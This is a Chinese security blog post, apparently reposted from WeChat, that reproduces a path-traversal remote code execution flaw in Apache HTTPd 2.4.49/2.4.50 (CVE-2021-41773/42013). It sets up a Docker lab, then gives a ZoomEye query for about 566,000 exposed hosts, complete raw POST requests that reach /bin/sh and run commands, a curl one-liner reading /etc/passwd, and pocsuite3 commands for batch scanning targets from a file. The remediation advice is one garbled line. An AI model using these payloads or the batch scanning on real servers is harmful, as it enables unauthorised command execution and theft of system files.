【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

  • A+
所属分类:安全文章

0x01 漏洞简介:

   

    Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。在Apache HTTPd 2.4.49版本中,存在一个 路径穿越漏洞。在配置了 Require all granted后,攻击者可利用路径穿越漏洞读取到Web目录之外的其他文件,比 如/etc/passwd文件。同时若Apache HTTPd开启了cgi支持,并能够访问到/bin/sh的情况下,攻击者可构造恶意请 求执行命令,从而控制服务器,危害严重。

0x02 影响版本:

ApacheHTTPd 2.4.49 ApacheHTTPd 2.4.50


0x03 漏洞等级:

高危


0x04 环境搭建:

这里提供两个搭建方法可自行选择【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

docker部署命令(一):

docker pull blueteamsteve/cve-2021-41773:with-cgiddocker run -d -p 7006:80 blueteamsteve/cve-2021-41773:with-cgid

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

搭建成功访问是这个酱紫!

http://ip:7006


【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

docker部署命令(二

git clonehttps://github.com/blasty/CVE-2021-41773.gitcd CVE-2021-41773/docker-compose build docker-compose up -d


【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

搭建成功访问是这个酱紫!

http://ip:8080

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现


0x05 影响范围:

根据ZoomEye网络空间搜索引擎对潜在可能目标进行搜索,共得到 566,346 条IP历史记录。


ZoomEye语法:

app:"apache web server 2.4.49 2.4.50"

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

ZoomEye搜索链接:

https://www.zoomeye.org/searchResult?q=app%3A%22apache%20web%20server%202.4.49%202.4.50%22


【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现



0x06 漏洞复现:


PoC:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1Host: ip:portCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9If-None-Match: "29cd-5ce4665e39700-gzip"If-Modified-Since: Thu, 14 Oct 2021 01:57:16 GMTConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 39
echo Content-Type: text/plain; echo; id

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现


POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1Host: ip:portCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9If-None-Match: "29cd-5ce4665e39700-gzip"If-Modified-Since: Thu, 14 Oct 2021 01:57:16 GMTConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 12
echo; whoami

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

curl --data "echo;cat /etc/passwd" 'http://ip:port/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh'

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现


单个检测命令如下:

python3 .cli.py -r .pocs20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py -u  https://*.*.*.* --verify

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现


批量检测命令如下:

python3 .cli.py -r .pocs20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py -f 1.txt --verify


获取脚本直达车↓↓↓

https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py

说到这里就简要介绍一下个人感觉非常好用的一款神器pocsuite3

    PocSuite3是Knownsec 404安全研究团队设计的一款远程漏洞测试以及PoC开发框架,该框架使用了功能极其强大的概念验证引擎,并自带了大量渗透测试以及安全分析功能。

功能介绍

1、PoC脚本能够以attack、verify和shell等多种模式运行;2、自带插件生态系统;3、 可从本地文件、Redis和数据库等不同来源动态加载PoC脚本;4、 可从CIDR、本地文件、Redis、数据库、Zoomeye和Shodan等来源加载多个测试目标;5、 轻松导出测试结果;6、 支持命令行工具和Python包导入;7、 支持IPv6;8、 支持全局HTTP/HTTPS/SOCKS代理;9、 提供了强大的爬虫API;10、整合Seebug;11、整合ZoomEye;12、整合Shodan;13、整合Ceye;14、等等…

关于pocsuite3的详细使用可以借鉴这个文档,这里不一一介绍!因为文档比较详细【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

https://github.com/knownsec/pocsuite3/tree/master/docs


0x07 建议解决方案:

若低于2.4.49版本,可不升级Apache HTTPd为 2.4.49、2.4.50版本,请尽快升级至安全版本


0x08 参考链接:

https://mp.weixin.qq.com/s/Hpl5hMJYr7DtXyAeVuNwWQhttps://mp.weixin.qq.com/s/y1IWrujFBPduKcecwHtGnA

【往期回顾】

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

【干货】最全的Tomcat漏洞复现

{Vulhub漏洞复现(一)ActiveMQ}

{Vulhub漏洞复现(二) Apereo CAS}

Cobalt Strike免杀脚本生成器|cna脚本|bypassAV

xss bypass备忘单|xss绕过防火墙技巧|xss绕过WAF的方法

走过路过的大佬们留个关注再走呗【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

往期文章有彩蛋哦【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

一如既往的学习,一如既往的整理,一如即往的分享【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

如侵权请私聊公众号删文

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

关注我

获得更多精彩

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现


原文始发于微信公众号(渗透Xiao白帽):【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: